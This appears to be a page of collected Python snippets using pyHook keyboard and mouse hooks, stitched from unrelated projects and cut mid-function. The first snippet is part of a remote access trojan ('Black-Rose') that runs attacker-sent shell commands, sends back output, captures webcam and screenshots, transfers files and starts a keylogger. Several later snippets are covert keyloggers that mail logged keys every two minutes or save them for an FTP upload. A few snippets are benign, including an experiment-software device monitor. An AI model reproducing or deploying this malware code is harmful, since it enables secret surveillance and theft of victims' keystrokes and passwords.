                                    stdin=subprocess.PIPE)
            Exec_output = Exec.stdout.read() + Exec.stderr.read()
            Sct.send(Exec_output + "\n[Path] " + str(os.getcwd()) + ">")

        elif Order == "whosthere":
            Sct.send("DONE")

        elif Order == "ACK":
            Get_ORDERS()

        elif Order == "webcapture":
            Webcam_CAPTURE()

        elif Order == "screenshot":
            Screenshot()

        elif "download" in Order:
            Upload(Order)

        elif "upload" in Order:
            Download(Order)

        elif Order == "keylogger":
            Banner = """\n+-----------------------------+
|      Black-Rose Keylogger   |
+-----------------------------+\n"""

            if "Windows" in PLATFORM:
                global Handler_1
                # Creating banner
                File = open(os.getcwd() + "\\Rose_Win_Keylogger.txt", "a")
                File.write(Banner + "\n" + Time + "\n")
                File.close()

                # Create hook manager
                Handler_1 = pyHook.HookManager()
                # Hook pressing any key to our keylogger function
                Handler_1.KeyDown = Windows_OnKeyboardEvent
                # hook the keyboard
                Handler_1.HookKeyboard()
                # wait forever
                pythoncom.PumpMessages()

            if "Linux" in PLATFORM:
                global Handler_2
                # Creating banner
                File = open(os.getcwd() + "/Rose_Linux_Keylogger.txt", "a")
                File.write(Banner + "\n" + Time + "\n")
                File.close()

                # Create hook manager
                Handler_2 = pyxhook.HookManager()
                # Hook pressing any key to our keylogger function
                Handler_2.KeyDown = Linux_OnKeyboardEvent
                # Hook the keyboard
                Handler_2.HookKeyboard()
                # Wait forever
                Handler_2.start()
        else:
            Exec = subprocess.Popen(Order,
                                    shell=True,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE,
                                    stdin=subprocess.PIPE)
            Exec_output = Exec.stdout.read() + Exec.stderr.read()
            Sct.send(Exec_output + "\n[Path] " + str(os.getcwd()) + ">")
    Sct.close()
    sys.exit()
Ejemplo n.º 19
0
def main():
    hm = pyHook.HookManager()  # 创建一个钩子管理对象
    hm.MouseAll = mouse_event  # 监听所有鼠标事件
    hm.HookMouse()  # 设定鼠标钩子
    pythoncom.PumpMessages()  # 进入循环,程序一直监听
Ejemplo n.º 20
0
def run():
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
Ejemplo n.º 21
0
        timah = threading.Timer(120.0, sendMail)  #repeats every 2 minutes
        timah.start()  #starts thread
    except:
        sys.exit(0)


def OnKeyBoardEvent(event):
    global data, OemList
    if not event.Ascii == 27 and not event.Ascii == 0:
        logKey = chr(event.Ascii) if len(
            event.Key) <= 1 or event.Key in OemList else event.Key
        data = data + logKey + " "


# create a hook manager
getter = pyHook.HookManager()
# watch for all mouse events
getter.KeyDown = OnKeyBoardEvent
# set the hook
getter.HookKeyboard()

data = ""
OemList = [
    "Oem_Period", "Oem_1", "Oem_2", "Oem_3", "Oem_4", "Oem_5", "Oem_6",
    "Oem_7", "Oem_Comma", "Oem_Minus", "Oem_Plus"
]

#if __name__ == "__main__":
#    hide()

timeah = threading.Timer(120.0, sendMail)
Ejemplo n.º 22
0
              type(e))  # Apresenta o nome de erros para correções


copy()
ftp()


def keyevent(
    event
):  # Inicia o evento para gravar as teclas, o programa não filtra nenhuma tecla, cabe ao usuario corrigir os erros :)
    try:
        files = (
            "C:\\system_logs-" + str(a) + ".txt"
        )  #Escreve o que foi gravado no system_logs.txt no diretório C:\\
        fp = open(files, "a")
        fp.write(("\n" + event.Key))
        fp.close()
    except Exception as e:
        print('Tipo de erro 3: ',
              type(e))  # Apresenta o nome de erros para correções
        return True


obg = pyHook.HookManager()
obg.KeyDown = keyevent
obg.HookKeyboard()

pythoncom.PumpMessages()

#BY C4L4NG0_M4T4D0R
Ejemplo n.º 23
0
 def run(self):  # 在启动线程后任务从这个函数里面开始执行
     hm = pyHook.HookManager()
     hm.KeyDown = self.onKeyboardEvent
     hm.HookKeyboard()
     pythoncom.PumpMessages()
Ejemplo n.º 24
0
        line_buffer = "" #clear the line buffer
        return True #exit event

    """if backspace key pressed"""
    if(event.KeyID == 8): #backspace key
        line_buffer = line_buffer[:-1] #remove last character
        return True #exit event

    """if non-normal ascii character"""
    if(event.KeyID < 32 or event.KeyID > 126):
        if(event.KeyID == 0): #unknown character (eg arrow key, shift, ctrl, alt)
            pass #do nothing
        else:
            if(event.KeyID == 190):
                line_buffer = line_buffer + '.'     
            else:
                line_buffer = line_buffer + str(event.KeyID) + '\n'
    else:
        line_buffer += chr(event.KeyID) #add pressed character to line buffer
        
    return True #pass event to other handlers

#creates the directory 
create_Directory()

hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events

Ejemplo n.º 25
0
    def createNewMonitoredDevice(self, dev_cls_name, dev_conf):
        self._all_dev_conf_errors = dict()
        try:
            dinstance = None
            dconf = None
            devt_ids = None
            devt_classes = None
            dev_data = self.addDeviceToMonitor(dev_cls_name, dev_conf)
            if dev_data:
                dinstance, dconf, devt_ids, devt_classes = dev_data
                DeviceConstants.addClassMapping(dinstance.__class__)
                EventConstants.addClassMappings(devt_ids, devt_classes)
            else:
                print2err('## Device was not started by the ioHub Server: ',
                          dev_cls_name)
                raise ioHubError('Device config validation failed')

        except Exception:
            print2err('Error during device creation ....')
            printExceptionDetailsToStdErr()
            raise ioHubError('Error during device creation ....')

        # Update DataStore Structure if required.
        if _DATA_STORE_AVAILABLE:
            try:
                if self.dsfile is not None:
                    self.dsfile.updateDataStoreStructure(dinstance,
                                                         devt_classes)
            except Exception:
                print2err('Error updating data store for device addition:',
                          dinstance, devt_ids)
                printExceptionDetailsToStdErr()
        self.log('Adding ioServer and DataStore event listeners......')

        # add event listeners for saving events
        if _DATA_STORE_AVAILABLE and self.dsfile is not None:
            dcls_name = dinstance.__class__.__name__
            if dconf['save_events']:
                dinstance._addEventListener(self.dsfile, devt_ids)
                lstr = 'Added Device DS Listener: {}, {}'.format(dcls_name,
                                                                 devt_ids)
                self.log(lstr)
            else:
                self.log('DS Disabled for Device: %s'%(dcls_name))
        else:
            self.log('DataStore Not Enabled. No events will be saved.')

        # Add Device Monitor for Keyboard or Mouse device type
        deviceDict = ioServer.deviceDict
        iohub = self
        hookManager = self._hookManager
        if dev_cls_name in ('Mouse', 'Keyboard'):
            if Computer.platform == 'win32':
                try:
                    import pyHook
                except ImportError:
                    import pyWinhook as pyHook
                if hookManager is None:
                    iohub.log('Creating pyHook HookManager....')
                    hookManager = self._hookManager = pyHook.HookManager()
                    hookManager.keyboard_hook = False
                if dev_cls_name == 'Mouse':
                    if hookManager.mouse_hook is False:
                        dmouse = deviceDict['Mouse']
                        hookManager.MouseAll = dmouse._nativeEventCallback
                        hookManager.HookMouse()
                elif dev_cls_name == 'Keyboard':
                    if hookManager.keyboard_hook is False:
                        dkeyboard = deviceDict['Keyboard']
                        hookManager.KeyAll = dkeyboard._nativeEventCallback
                        hookManager.HookKeyboard()

            elif Computer.platform.startswith('linux'):
                from .devices import pyXHook
                if hookManager is None:
                    # iohub.log("Creating pyXHook Monitors....")
                    log_evt = self.config.get('log_raw_kb_mouse_events', False)
                    self._hookManager = pyXHook.HookManager(log_evt)
                    hookManager = self._hookManager
                    hookManager._mouseHooked = False
                    hookManager._keyboardHooked = False
                if dev_cls_name == 'Keyboard':
                    if hookManager._keyboardHooked is False:
                        hookManager.HookKeyboard()
                        kbcb_func = deviceDict['Keyboard']._nativeEventCallback
                        hookManager.KeyDown = kbcb_func
                        hookManager.KeyUp = kbcb_func
                        hookManager._keyboardHooked = True
                elif dev_cls_name == 'Mouse':
                    if hookManager._mouseHooked is False:
                        hookManager.HookMouse()
                        mcb_func = deviceDict['Mouse']._nativeEventCallback
                        hookManager.MouseAllButtonsDown = mcb_func
                        hookManager.MouseAllButtonsUp = mcb_func
                        hookManager.MouseAllMotion = mcb_func
                        hookManager._mouseHooked = True
                if hookManager._running is False:
                    hookManager.start()

            else:  # OSX
                if self._hookDevice is None:
                    self._hookDevice = []
                if dev_cls_name not in self._hookDevice:
                    if dev_cls_name == 'Mouse':
                        dmouse = deviceDict['Mouse']
                        mouseHookMonitor = DeviceMonitor(dmouse, 0.004)
                        self.deviceMonitors.append(mouseHookMonitor)
                        dmouse._CGEventTapEnable(dmouse._tap, True)
                        self._hookDevice.append('Mouse')
                    if dev_cls_name == 'Keyboard':
                        dkeyboard = deviceDict['Keyboard']
                        kbHookMonitor = DeviceMonitor(dkeyboard, 0.004)
                        self.deviceMonitors.append(kbHookMonitor)
                        dkeyboard._CGEventTapEnable(dkeyboard._tap, True)
                        self._hookDevice.append('Keyboard')

            return [dev_cls_name, dconf['name'], dinstance._getRPCInterface()]
Ejemplo n.º 26
0
def pup():
    #start keylogger
    proc = pyHook.HookManager()
    proc.KeyDown = pressed_chars
    proc.HookKeyboard()
    pythoncom.PumpMessages()
Ejemplo n.º 27
0
def MonitorKeyboard():
    hm = pyHook.HookManager()
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
Ejemplo n.º 28
0
def hooker():
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()
Ejemplo n.º 29
0
import pythoncom, pyHook, sys, logging


class recordKeys():
    def __init__(self, file_log):
        self.file_log = file_log

    def OnKeyboardEvent(self, event):
        logging.basicConfig(filename=self.file_log,
                            level=logging.DEBUG,
                            format='%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True


if __name__ == '__main__':
    r = recordKeys('C:\\Users\\jonmu\\Documents\\GitHub\\ai1\log.txt')
    hm = pyHook.HookManager()
    hm.KeyDown = r.OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
Ejemplo n.º 30
0
def main():
    hm = pyHook.HookManager()
    hm.MouseAll = onMouseEvent
    hm.HookMouse()
    pythoncom.PumpMessages()